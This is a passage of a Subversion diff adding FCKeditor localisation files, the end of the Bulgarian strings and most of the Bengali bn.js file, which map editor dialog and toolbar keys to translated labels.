+DlgCellHorAlignNotSet	: "<Не е настроено>",
+DlgCellHorAlignLeft	: "Ляво",
+DlgCellHorAlignCenter	: "Център",
+DlgCellHorAlignRight: "Дясно",
+DlgCellVerAlign		: "Вертикално подравняване",
+DlgCellVerAlignNotSet	: "<Не е настроено>",
+DlgCellVerAlignTop	: "Горе",
+DlgCellVerAlignMiddle	: "По средата",
+DlgCellVerAlignBottom	: "Долу",
+DlgCellVerAlignBaseline	: "По базовата линия",
+DlgCellRowSpan		: "повече от един ред",
+DlgCellCollSpan		: "повече от една колона",
+DlgCellBackColor	: "фонов цвят",
+DlgCellBorderColor	: "цвят на рамката",
+DlgCellBtnSelect	: "Изберете...",
+
+// Find Dialog
+DlgFindTitle		: "Търси",
+DlgFindFindBtn		: "Търси",
+DlgFindNotFoundMsg	: "Указания текст не беше намерен.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Замести",
+DlgReplaceFindLbl		: "Търси:",
+DlgReplaceReplaceLbl	: "Замести с:",
+DlgReplaceCaseChk		: "Със същия регистър",
+DlgReplaceReplaceBtn	: "Замести",
+DlgReplaceReplAllBtn	: "Замести всички",
+DlgReplaceWordChk		: "Търси същата дума",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Настройките за сигурност на вашия бразуър не разрешават на редактора да изпълни вмъкването. За целта използвайте клавиатурата (Ctrl+V).",
+PasteErrorCut	: "Настройките за сигурност на вашия бразуър не разрешават на редактора да изпълни изрязването. За целта използвайте клавиатурата (Ctrl+X).",
+PasteErrorCopy	: "Настройките за сигурност на вашия бразуър не разрешават на редактора да изпълни запаметяването. За целта използвайте клавиатурата (Ctrl+C).",
+
+PasteAsText		: "Вмъкни като чист текст",
+PasteFromWord	: "Вмъкни от MS Word",
+
+DlgPasteMsg2	: "Вмъкнете тук съдъжанието с клавиатуарата (<STRONG>Ctrl+V</STRONG>) и натиснете <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Игнорирай шрифтовите дефиниции",
+DlgPasteRemoveStyles	: "Изтрий стиловите дефиниции",
+DlgPasteCleanBox		: "Изчисти",
+
+// Color Picker
+ColorAutomatic	: "По подразбиране",
+ColorMoreColors	: "Други цветове...",
+
+// Document Properties
+DocProps		: "Параметри на документа",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Параметри на котвата",
+DlgAnchorName		: "Име на котвата",
+DlgAnchorErrorName	: "Моля, въведете име на котвата",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Липсва в речника",
+DlgSpellChangeTo		: "Промени на",
+DlgSpellBtnIgnore		: "Игнорирай",
+DlgSpellBtnIgnoreAll	: "Игнорирай всички",
+DlgSpellBtnReplace		: "Замести",
+DlgSpellBtnReplaceAll	: "Замести всички",
+DlgSpellBtnUndo			: "Отмени",
+DlgSpellNoSuggestions	: "- Няма предложения -",
+DlgSpellProgress		: "Извършване на проверката за правопис...",
+DlgSpellNoMispell		: "Проверката за правопис завършена: не са открити правописни грешки",
+DlgSpellNoChanges		: "Проверката за правопис завършена: няма променени думи",
+DlgSpellOneChange		: "Проверката за правопис завършена: една дума е променена",
+DlgSpellManyChanges		: "Проверката за правопис завършена: %1 думи са променени",
+
+IeSpellDownload			: "Инструментът за проверка на правопис не е инсталиран. Желаете ли да го инсталирате ?",
+
+// Button Dialog
+DlgButtonText		: "Текст (Стойност)",
+DlgButtonType		: "Тип",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Име",
+DlgCheckboxValue	: "Стойност",
+DlgCheckboxSelected	: "Отметнато",
+
+// Form Dialog
+DlgFormName		: "Име",
+DlgFormAction	: "Действие",
+DlgFormMethod	: "Метод",
+
+// Select Field Dialog
+DlgSelectName		: "Име",
+DlgSelectValue		: "Стойност",
+DlgSelectSize		: "Размер",
+DlgSelectLines		: "линии",
+DlgSelectChkMulti	: "Разрешено множествено селектиране",
+DlgSelectOpAvail	: "Възможни опции",
+DlgSelectOpText		: "Текст",
+DlgSelectOpValue	: "Стойност",
+DlgSelectBtnAdd		: "Добави",
+DlgSelectBtnModify	: "Промени",
+DlgSelectBtnUp		: "Нагоре",
+DlgSelectBtnDown	: "Надолу",
+DlgSelectBtnSetValue : "Настрой като избрана стойност",
+DlgSelectBtnDelete	: "Изтрий",
+
+// Textarea Dialog
+DlgTextareaName	: "Име",
+DlgTextareaCols	: "Колони",
+DlgTextareaRows	: "Редове",
+
+// Text Field Dialog
+DlgTextName			: "Име",
+DlgTextValue		: "Стойност",
+DlgTextCharWidth	: "Ширина на символите",
+DlgTextMaxChars		: "Максимум символи",
+DlgTextType			: "Тип",
+DlgTextTypeText		: "Текст",
+DlgTextTypePass		: "Парола",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Име",
+DlgHiddenValue	: "Стойност",
+
+// Bulleted List Dialog
+BulletedListProp	: "Параметри на ненумерирания списък",
+NumberedListProp	: "Параметри на нумерирания списък",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Тип",
+DlgLstTypeCircle	: "Окръжност",
+DlgLstTypeDisc		: "Кръг",
+DlgLstTypeSquare	: "Квадрат",
+DlgLstTypeNumbers	: "Числа (1, 2, 3)",
+DlgLstTypeLCase		: "Малки букви (a, b, c)",
+DlgLstTypeUCase		: "Големи букви (A, B, C)",
+DlgLstTypeSRoman	: "Малки римски числа (i, ii, iii)",
+DlgLstTypeLRoman	: "Големи римски числа (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Общи",
+DlgDocBackTab		: "Фон",
+DlgDocColorsTab		: "Цветове и отстъпи",
+DlgDocMetaTab		: "Мета данни",
+
+DlgDocPageTitle		: "Заглавие на страницата",
+DlgDocLangDir		: "Посока на речта",
+DlgDocLangDirLTR	: "От ляво на дясно",
+DlgDocLangDirRTL	: "От дясно на ляво",
+DlgDocLangCode		: "Код на езика",
+DlgDocCharSet		: "Кодиране на символите",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Друго кодиране на символите",
+
+DlgDocDocType		: "Тип на документа",
+DlgDocDocTypeOther	: "Друг тип на документа",
+DlgDocIncXHTML		: "Включи XHTML декларация",
+DlgDocBgColor		: "Цвят на фона",
+DlgDocBgImage		: "Пълен път до фоновото изображение",
+DlgDocBgNoScroll	: "Не-повтарящо се фоново изображение",
+DlgDocCText			: "Текст",
+DlgDocCLink			: "Връзка",
+DlgDocCVisited		: "Посетена връзка",
+DlgDocCActive		: "Активна връзка",
+DlgDocMargins		: "Отстъпи на страницата",
+DlgDocMaTop			: "Горе",
+DlgDocMaLeft		: "Ляво",
+DlgDocMaRight		: "Дясно",
+DlgDocMaBottom		: "Долу",
+DlgDocMeIndex		: "Ключови думи за документа (разделени със запетаи)",
+DlgDocMeDescr		: "Описание на документа",
+DlgDocMeAuthor		: "Автор",
+DlgDocMeCopy		: "Авторски права",
+DlgDocPreview		: "Изглед",
+
+// Templates Dialog
+Templates			: "Шаблони",
+DlgTemplatesTitle	: "Шаблони",
+DlgTemplatesSelMsg	: "Изберете шаблон <br>(текущото съдържание на редактора ще бъде загубено):",
+DlgTemplatesLoading	: "Зареждане на списъка с шаблоните. Моля изчакайте...",
+DlgTemplatesNoTpl	: "(Няма дефинирани шаблони)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "За",
+DlgAboutBrowserInfoTab	: "Информация за браузъра",
+DlgAboutLicenseTab	: "License",	//MISSING
+DlgAboutVersion		: "версия",
+DlgAboutLicense		: "Лиценз по условията на GNU Lesser General Public License",
+DlgAboutInfo		: "За повече информация посетете"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bn.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bn.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/bn.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: bn.js
+ * 	Bengali/Bangla language file.
+ * 
+ * File Authors:
+ * 		Richard Walledge (darkdoctrine@hotmail.com)
+ * 		S M Mahbub Murshed (udvranto@yahoo.com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "টূলবার গুটিয়ে দাও",
+ToolbarExpand		: "টূলবার ছড়িয়ে দাও",
+
+// Toolbar Items and Context Menu
+Save				: "সংরক্ষন কর",
+NewPage				: "নতুন পেজ",
+Preview				: "প্রিভিউ",
+Cut					: "কাট",
+Copy				: "কপি",
+Paste				: "পেস্ট",
+PasteText			: "পেস্ট (সাদা টেক্সট)",
+PasteWord			: "পেস্ট (শব্দ)",
+Print				: "প্রিন্ট",
+SelectAll			: "সব সিলেক্ট কর",
+RemoveFormat		: "ফরমেট সরাও",
+InsertLinkLbl		: "লিংকের যুক্ত করার লেবেল",
+InsertLink			: "লিংক যুক্ত কর",
+RemoveLink			: "লিংক সরাও",
+Anchor				: "নোঙ্গর",
+InsertImageLbl		: "ছবির লেবেল যুক্ত কর",
+InsertImage			: "ছবি যুক্ত কর",
+InsertFlashLbl		: "ফ্লাশ লেবেল যুক্ত কর",
+InsertFlash			: "ফ্লাশ যুক্ত কর",
+InsertTableLbl		: "টেবিলের লেবেল যুক্ত কর",
+InsertTable			: "টেবিল যুক্ত কর",
+InsertLineLbl		: "রেখা যুক্ত কর",
+InsertLine			: "রেখা যুক্ত কর",
+InsertSpecialCharLbl: "বিশেষ অক্ষরের লেবেল যুক্ত কর",
+InsertSpecialChar	: "বিশেষ অক্ষর যুক্ত কর",
+InsertSmileyLbl		: "স্মাইলী",
+InsertSmiley		: "স্মাইলী যুক্ত কর",
+About				: "FCKeditor কে বানিয়েছে",
+Bold				: "বোল্ড",
+Italic				: "ইটালিক",
+Underline			: "আন্ডারলাইন",
+StrikeThrough		: "স্ট্রাইক থ্রু",
+Subscript			: "অধোলেখ",
+Superscript			: "অভিলেখ",
+LeftJustify			: "বা দিকে ঘেঁষা",
+CenterJustify		: "মাঝ বরাবর ঘেষা",
+RightJustify		: "ডান দিকে ঘেঁষা",
+BlockJustify		: "ব্লক জাস্টিফাই",
+DecreaseIndent		: "ইনডেন্ট কমাও",
+IncreaseIndent		: "ইনডেন্ট বাড়াও",
+Undo				: "আনডু",
+Redo				: "রি-ডু",
+NumberedListLbl		: "সাংখ্যিক লিস্টের লেবেল",
+NumberedList		: "সাংখ্যিক লিস্ট",
+BulletedListLbl		: "বুলেট লিস্ট লেবেল",
+BulletedList		: "বুলেটেড লিস্ট",
+ShowTableBorders	: "টেবিল বর্ডার",
+ShowDetails			: "সবটুকু দেখাও",
+Style				: "স্টাইল",
+FontFormat			: "ফন্ট ফরমেট",
+Font				: "ফন্ট",
+FontSize			: "সাইজ",
+TextColor			: "টেক্স্ট রং",
+BGColor				: "বেকগ্রাউন্ড রং",
+Source				: "সোর্স",
+Find				: "খোজো",
+Replace				: "রিপ্লেস",
+SpellCheck			: "বানান চেক",
+UniversalKeyboard	: "সার্বজনীন কিবোর্ড",
+PageBreakLbl		: "পেজ ব্রেক লেবেল",
+PageBreak			: "পেজ ব্রেক",
+
+Form			: "ফর্ম",
+Checkbox		: "চেক বাক্স",
+RadioButton		: "রেডিও বাটন",
+TextField		: "টেক্সট ফীল্ড",
+Textarea		: "টেক্সট এরিয়া",
+HiddenField		: "গুপ্ত ফীল্ড",
+Button			: "বাটন",
+SelectionField	: "বাছাই ফীল্ড",
+ImageButton		: "ছবির বাটন",
+
+FitWindow		: "উইন্ডো ফিট কর",
+
+// Context Menu
+EditLink			: "লিংক সম্পাদন",
+CellCM				: "সেল",
+RowCM				: "রো",
+ColumnCM			: "কলাম",
+InsertRow			: "রো যুক্ত কর",
+DeleteRows			: "রো মুছে দাও",
+InsertColumn		: "কলাম যুক্ত কর",
+DeleteColumns		: "কলাম মুছে দাও",
+InsertCell			: "সেল যুক্ত কর",
+DeleteCells			: "সেল মুছে দাও",
+MergeCells			: "সেল জোড়া দাও",
+SplitCell			: "সেল আলাদা কর",
+TableDelete			: "টেবিল ডিলীট কর",
+CellProperties		: "সেলের প্রোপার্টিজ",
+TableProperties		: "টেবিল প্রোপার্টি",
+ImageProperties		: "ছবি প্রোপার্টি",
+FlashProperties		: "ফ্লাশ প্রোপার্টি",
+
+AnchorProp			: "নোঙর প্রোপার্টি",
+ButtonProp			: "বাটন প্রোপার্টি",
+CheckboxProp		: "চেক বক্স প্রোপার্টি",
+HiddenFieldProp		: "গুপ্ত ফীল্ড প্রোপার্টি",
+RadioButtonProp		: "রেডিও বাটন প্রোপার্টি",
+ImageButtonProp		: "ছবি বাটন প্রোপার্টি",
+TextFieldProp		: "টেক্সট ফীল্ড প্রোপার্টি",
+SelectionFieldProp	: "বাছাই ফীল্ড প্রোপার্টি",
+TextareaProp		: "টেক্সট এরিয়া প্রোপার্টি",
+FormProp			: "ফর্ম প্রোপার্টি",
+
+FontFormats			: "সাধারণ;ফর্মেটেড;ঠিকানা;শীর্ষক ১;শীর্ষক ২;শীর্ষক ৩;শীর্ষক ৪;শীর্ষক ৫;শীর্ষক ৬;শীর্ষক (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML প্রসেস করা হচ্ছে",
+Done				: "শেষ হয়েছে",
+PasteWordConfirm	: "যে টেকস্টটি আপনি পেস্ট করতে চাচ্ছেন মনে হচ্ছে সেটি ওয়ার্ড থেকে কপি করা। আপনি কি পেস্ট করার আগে একে পরিষ্কার করতে চান?",
+NotCompatiblePaste	: "এই কমান্ডটি শুধুমাত্র ইন্টারনেট এক্সপ্লোরার ৫.০ বা তার পরের ভার্সনে পাওয়া সম্ভব। আপনি কি পরিষ্কার না করেই পেস্ট করতে চান?",
+UnknownToolbarItem	: "অজানা টুলবার আইটেম \"%1\"",
+UnknownCommand		: "অজানা কমান্ড \"%1\"",
+NotImplemented		: "কমান্ড ইমপ্লিমেন্ট করা হয়নি",
+UnknownToolbarSet	: "টুলবার সেট \"%1\" এর অস্তিত্ব নেই",
+NoActiveX			: "আপনার ব্রাউজারের সুরক্ষা সেটিংস কারনে এডিটরের কিছু ফিচার পাওয়া নাও যেতে পারে। আপনাকে অবশ্যই \"Run ActiveX controls and plug-ins\" এনাবেল করে নিতে হবে। আপনি ভুলভ্রান্তি কিছু কিছু ফিচারের অনুপস্থিতি উপলব্ধি করতে পারেন।",
+BrowseServerBlocked : "রিসোর্স ব্রাউজার খোলা গেল না। নিশ্চিত করুন যে সব পপআপ ব্লকার বন্ধ করা আছে।",
+DialogBlocked		: "ডায়ালগ ইউন্ডো খোলা গেল না। নিশ্চিত করুন যে সব পপআপ ব্লকার বন্ধ করা আছে।",
+
+// Dialogs
+DlgBtnOK			: "ওকে",
+DlgBtnCancel		: "বাতিল",
+DlgBtnClose			: "বন্ধ কর",
+DlgBtnBrowseServer	: "ব্রাউজ সার্ভার",
+DlgAdvancedTag		: "এডভান্সড",
+DlgOpOther			: "<অন্য>",
+DlgInfoTab			: "তথ্য",
+DlgAlertUrl			: "দয়া করে URL যুক্ত করুন",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<সেট নেই>",
+DlgGenId			: "আইডি",
+DlgGenLangDir		: "ভাষা লেখার দিক",
+DlgGenLangDirLtr	: "বাম থেকে ডান (LTR)",
+DlgGenLangDirRtl	: "ডান থেকে বাম (RTL)",
+DlgGenLangCode		: "ভাষা কোড",
+DlgGenAccessKey		: "এক্সেস কী",
+DlgGenName			: "নাম",
+DlgGenTabIndex		: "ট্যাব ইন্ডেক্স",
+DlgGenLongDescr		: "URL এর লম্বা বর্ণনা",
+DlgGenClass			: "স্টাইল-শীট ক্লাস",
+DlgGenTitle			: "পরামর্শ শীর্ষক",
+DlgGenContType		: "পরামর্শ কন্টেন্টের প্রকার",
+DlgGenLinkCharset	: "লিংক রিসোর্স ক্যারেক্টর সেট",
+DlgGenStyle			: "স্টাইল",
+
+// Image Dialog
+DlgImgTitle			: "ছবির প্রোপার্টি",
+DlgImgInfoTab		: "ছবির তথ্য",
+DlgImgBtnUpload		: "ইহাকে সার্ভারে প্রেরন কর",
+DlgImgURL			: "URL",
+DlgImgUpload		: "আপলোড",
+DlgImgAlt			: "বিকল্প টেক্সট",
+DlgImgWidth			: "প্রস্থ",
+DlgImgHeight		: "দৈর্ঘ্য",
+DlgImgLockRatio		: "অনুপাত লক কর",
+DlgBtnResetSize		: "সাইজ পূর্বাবস্থায় ফিরিয়ে দাও",
+DlgImgBorder		: "বর্ডার",
+DlgImgHSpace		: "হরাইজন্টাল স্পেস",
+DlgImgVSpace		: "ভার্টিকেল স্পেস",
+DlgImgAlign			: "এলাইন",
+DlgImgAlignLeft		: "বামে",
+DlgImgAlignAbsBottom: "Abs নীচে",
+DlgImgAlignAbsMiddle: "Abs উপর",
+DlgImgAlignBaseline	: "মূল রেখা",
+DlgImgAlignBottom	: "নীচে",
+DlgImgAlignMiddle	: "মধ্য",
+DlgImgAlignRight	: "ডানে",
+DlgImgAlignTextTop	: "টেক্সট উপর",
+DlgImgAlignTop		: "উপর",
+DlgImgPreview		: "প্রীভিউ",
+DlgImgAlertUrl		: "অনুগ্রহক করে ছবির URL টাইপ করুন",
+DlgImgLinkTab		: "লিংক",
+
+// Flash Dialog
+DlgFlashTitle		: "ফ্ল্যাশ প্রোপার্টি",
+DlgFlashChkPlay		: "অটো প্লে",
+DlgFlashChkLoop		: "লূপ",
+DlgFlashChkMenu		: "ফ্ল্যাশ মেনু এনাবল কর",
+DlgFlashScale		: "স্কেল",
+DlgFlashScaleAll	: "সব দেখাও",
+DlgFlashScaleNoBorder	: "কোনো বর্ডার নেই",
+DlgFlashScaleFit	: "নিখুঁত ফিট",
+
+// Link Dialog
+DlgLnkWindowTitle	: "লিংক",
+DlgLnkInfoTab		: "লিংক তথ্য",
+DlgLnkTargetTab		: "টার্গেট",
+
+DlgLnkType			: "লিংক প্রকার",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "এই পেজে নোঙর কর",
+DlgLnkTypeEMail		: "ইমেইল",
+DlgLnkProto			: "প্রোটোকল",
+DlgLnkProtoOther	: "<অন্য>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "নোঙর বাছাই",
+DlgLnkAnchorByName	: "নোঙরের নাম দিয়ে",
+DlgLnkAnchorById	: "নোঙরের আইডি দিয়ে",
+DlgLnkNoAnchors		: "<ডকুমেন্টে আর কোন নোঙর নেই>",
+DlgLnkEMail			: "ইমেইল ঠিকানা",
+DlgLnkEMailSubject	: "মেসেজের বিষয়",
+DlgLnkEMailBody		: "মেসেজের দেহ",
+DlgLnkUpload		: "আপলোড",
+DlgLnkBtnUpload		: "একে সার্ভারে পাঠাও",
+
+DlgLnkTarget		: "টার্গেট",
+DlgLnkTargetFrame	: "<ফ্রেম>",
+DlgLnkTargetPopup	: "<পপআপ উইন্ডো>",
+DlgLnkTargetBlank	: "নতুন উইন্ডো (_blank)",
+DlgLnkTargetParent	: "মূল উইন্ডো (_parent)",
+DlgLnkTargetSelf	: "এই উইন্ডো (_self)",
+DlgLnkTargetTop		: "শীর্ষ উইন্ডো (_top)",
+DlgLnkTargetFrameName	: "টার্গেট ফ্রেমের নাম",
+DlgLnkPopWinName	: "পপআপ উইন্ডোর নাম",
+DlgLnkPopWinFeat	: "পপআপ উইন্ডো ফীচার সমূহ",
+DlgLnkPopResize		: "রিসাইজ করা সম্ভব",
+DlgLnkPopLocation	: "লোকেশন বার",
+DlgLnkPopMenu		: "মেন্যু বার",
+DlgLnkPopScroll		: "স্ক্রল বার",
+DlgLnkPopStatus		: "স্ট্যাটাস বার",
+DlgLnkPopToolbar	: "টুল বার",
+DlgLnkPopFullScrn	: "পূর্ণ পর্দা জুড়ে (IE)",
+DlgLnkPopDependent	: "ডিপেন্ডেন্ট (Netscape)",
+DlgLnkPopWidth		: "প্রস্থ",
+DlgLnkPopHeight		: "দৈর্ঘ্য",
+DlgLnkPopLeft		: "বামের পজিশন",
+DlgLnkPopTop		: "ডানের পজিশন",
+
+DlnLnkMsgNoUrl		: "অনুগ্রহ করে URL লিংক টাইপ করুন",
+DlnLnkMsgNoEMail	: "অনুগ্রহ করে ইমেইল এড্রেস টাইপ করুন",
+DlnLnkMsgNoAnchor	: "অনুগ্রহ করে নোঙর বাছাই করুন",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "রং বাছাই কর",
+DlgColorBtnClear	: "পরিষ্কার কর",
+DlgColorHighlight	: "হাইলাইট",
+DlgColorSelected	: "সিলেক্টেড",
+
+// Smiley Dialog
+DlgSmileyTitle		: "স্মাইলী যুক্ত কর",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "বিশেষ ক্যারেক্টার বাছাই কর",
+
+// Table Dialog
+DlgTableTitle		: "টেবিল প্রোপার্টি",
+DlgTableRows		: "রো",
+DlgTableColumns		: "কলাম",
+DlgTableBorder		: "বর্ডার সাইজ",
+DlgTableAlign		: "এলাইনমেন্ট",
+DlgTableAlignNotSet	: "<সেট নেই>",
+DlgTableAlignLeft	: "বামে",
+DlgTableAlignCenter	: "মাঝখানে",
+DlgTableAlignRight	: "ডানে",
+DlgTableWidth		: "প্রস্থ",
+DlgTableWidthPx		: "পিক্সেল",
+DlgTableWidthPc		: "শতকরা",
+DlgTableHeight		: "দৈর্ঘ্য",
+DlgTableCellSpace	: "সেল স্পেস",
+DlgTableCellPad		: "সেল প্যাডিং",
+DlgTableCaption		: "শীর্ষক",
+DlgTableSummary		: "সারাংশ",
+
+// Table Cell Dialog
+DlgCellTitle		: "সেল প্রোপার্টি",
+DlgCellWidth		: "প্রস্থ",
+DlgCellWidthPx		: "পিক্সেল",
+DlgCellWidthPc		: "শতকরা",
+DlgCellHeight		: "দৈর্ঘ্য",
+DlgCellWordWrap		: "ওয়ার্ড রেপ",
+DlgCellWordWrapNotSet	: "<সেট নেই>",
+DlgCellWordWrapYes	: "হাঁ",
+DlgCellWordWrapNo	: "না",
+DlgCellHorAlign		: "হরাইজন্টাল এলাইনমেন্ট",
+DlgCellHorAlignNotSet	: "<সেট নেই>",
+DlgCellHorAlignLeft	: "বামে",
+DlgCellHorAlignCenter	: "মাঝখানে",
+DlgCellHorAlignRight: "ডানে",
+DlgCellVerAlign		: "ভার্টিক্যাল এলাইনমেন্ট",
+DlgCellVerAlignNotSet	: "<সেট নেই>",
+DlgCellVerAlignTop	: "উপর",
+DlgCellVerAlignMiddle	: "মধ্য",
+DlgCellVerAlignBottom	: "নীচে",
+DlgCellVerAlignBaseline	: "মূলরেখা",
+DlgCellRowSpan		: "রো স্প্যান",
+DlgCellCollSpan		: "কলাম স্প্যান",
+DlgCellBackColor	: "ব্যাকগ্রাউন্ড রং",
+DlgCellBorderColor	: "বর্ডারের রং",
+DlgCellBtnSelect	: "বাছাই কর",
+
+// Find Dialog
+DlgFindTitle		: "খোঁজো",
+DlgFindFindBtn		: "খোঁজো",
+DlgFindNotFoundMsg	: "আপনার উল্লেখিত টেকস্ট পাওয়া যায়নি",
+
+// Replace Dialog
+DlgReplaceTitle			: "বদলে দাও",
+DlgReplaceFindLbl		: "যা খুঁজতে হবে:",
+DlgReplaceReplaceLbl	: "যার সাথে বদলাতে হবে:",
+DlgReplaceCaseChk		: "কেস মিলাও",
+DlgReplaceReplaceBtn	: "বদলে দাও",
+DlgReplaceReplAllBtn	: "সব বদলে দাও",
+DlgReplaceWordChk		: "পুরা শব্দ মেলাও",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "আপনার ব্রাউজারের সুরক্ষা সেটিংস এডিটরকে অটোমেটিক পেস্ট করার অনুমতি দেয়নি। দয়া করে এই কাজের জন্য কিবোর্ড ব্যবহার করুন (Ctrl+V)।",
+PasteErrorCut	: "আপনার ব্রাউজারের সুরক্ষা সেটিংস এডিটরকে অটোমেটিক কাট করার অনুমতি দেয়নি। দয়া করে এই কাজের জন্য কিবোর্ড ব্যবহার করুন (Ctrl+X)।",
+PasteErrorCopy	: "আপনার ব্রাউজারের সুরক্ষা সেটিংস এডিটরকে অটোমেটিক কপি করার অনুমতি দেয়নি। দয়া করে এই কাজের জন্য কিবোর্ড ব্যবহার করুন (Ctrl+C)।",
+
+PasteAsText		: "সাদা টেক্সট হিসেবে পেস্ট কর",
+PasteFromWord	: "ওয়ার্ড থেকে পেস্ট কর",
+
+DlgPasteMsg2	: "অনুগ্রহ করে নীচের বাক্সে কিবোর্ড ব্যবহার করে (<STRONG>Ctrl+V</STRONG>) পেস্ট করুন এবং <STRONG>OK</STRONG> চাপ দিন",
+DlgPasteIgnoreFont		: "ফন্ট ফেস ডেফিনেশন ইগনোর করুন",
+DlgPasteRemoveStyles	: "স্টাইল ডেফিনেশন সরিয়ে দিন",
+DlgPasteCleanBox		: "বাক্স পরিষ্কার করুন",
+
+// Color Picker
+ColorAutomatic	: "অটোমেটিক",
+ColorMoreColors	: "আরও রং...",
+
+// Document Properties
+DocProps		: "ডক্যুমেন্ট প্রোপার্টি",
+
+// Anchor Dialog
+DlgAnchorTitle		: "নোঙরের প্রোপার্টি",
+DlgAnchorName		: "নোঙরের নাম",
+DlgAnchorErrorName	: "নোঙরের নাম টাইপ করুন",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "শব্দকোষে নেই",
+DlgSpellChangeTo		: "এতে বদলাও",
+DlgSpellBtnIgnore		: "ইগনোর কর",
+DlgSpellBtnIgnoreAll	: "সব ইগনোর কর",
+DlgSpellBtnReplace		: "বদলে দাও",
+DlgSpellBtnReplaceAll	: "সব বদলে দাও",
+DlgSpellBtnUndo			: "আন্ডু",
+DlgSpellNoSuggestions	: "- কোন সাজেশন নেই -",
+DlgSpellProgress		: "বানান পরীক্ষা চলছে...",
+DlgSpellNoMispell		: "বানান পরীক্ষা শেষ: কোন ভুল বানান পাওয়া যায়নি",
+DlgSpellNoChanges		: "বানান পরীক্ষা শেষ: কোন শব্দ পরিবর্তন করা হয়নি",
+DlgSpellOneChange		: "বানান পরীক্ষা শেষ: একটি মাত্র শব্দ পরিবর্তন করা হয়েছে",
+DlgSpellManyChanges		: "বানান পরীক্ষা শেষ: %1 গুলো শব্দ বদলে গ্যাছে",
+
+IeSpellDownload			: "বানান পরীক্ষক ইনস্টল করা নেই। আপনি কি এখনই এটা ডাউনলোড করতে চান?",
+
+// Button Dialog
+DlgButtonText		: "টেক্সট (ভ্যালু)",
+DlgButtonType		: "প্রকার",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "নাম",
+DlgCheckboxValue	: "ভ্যালু",
+DlgCheckboxSelected	: "সিলেক্টেড",
+
+// Form Dialog
+DlgFormName		: "নাম",
+DlgFormAction	: "একশ্যন",
+DlgFormMethod	: "পদ্ধতি",
+
+// Select Field Dialog
+DlgSelectName		: "নাম",
+DlgSelectValue		: "ভ্যালু",
+DlgSelectSize		: "সাইজ",
+DlgSelectLines		: "লাইন সমূহ",
+DlgSelectChkMulti	: "একাধিক সিলেকশন এলাউ কর",
+DlgSelectOpAvail	: "অন্যান্য বিকল্প",
+DlgSelectOpText		: "টেক্সট",
+DlgSelectOpValue	: "ভ্যালু",
+DlgSelectBtnAdd		: "যুক্ত",
+DlgSelectBtnModify	: "বদলে দাও",
+DlgSelectBtnUp		: "উপর",
+DlgSelectBtnDown	: "নীচে",
+DlgSelectBtnSetValue : "বাছাই করা ভ্যালু হিসেবে সেট কর",
+DlgSelectBtnDelete	: "ডিলীট",
+
+// Textarea Dialog
+DlgTextareaName	: "নাম",
+DlgTextareaCols	: "কলাম",
+DlgTextareaRows	: "রো",
+
+// Text Field Dialog
+DlgTextName			: "নাম",
+DlgTextValue		: "ভ্যালু",
+DlgTextCharWidth	: "ক্যারেক্টার প্রশস্ততা",
+DlgTextMaxChars		: "সর্বাধিক ক্যারেক্টার",
+DlgTextType			: "টাইপ",
+DlgTextTypeText		: "টেক্সট",
+DlgTextTypePass		: "পাসওয়ার্ড",
+
+// Hidden Field Dialog
+DlgHiddenName	: "নাম",
+DlgHiddenValue	: "ভ্যালু",
+
+// Bulleted List Dialog
+BulletedListProp	: "বুলেটেড সূচী প্রোপার্টি",
+NumberedListProp	: "সাংখ্যিক সূচী প্রোপার্টি",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "প্রকার",
+DlgLstTypeCircle	: "গোল",
+DlgLstTypeDisc		: "ডিস্ক",
+DlgLstTypeSquare	: "চৌকোণা",
+DlgLstTypeNumbers	: "সংখ্যা (1, 2, 3)",
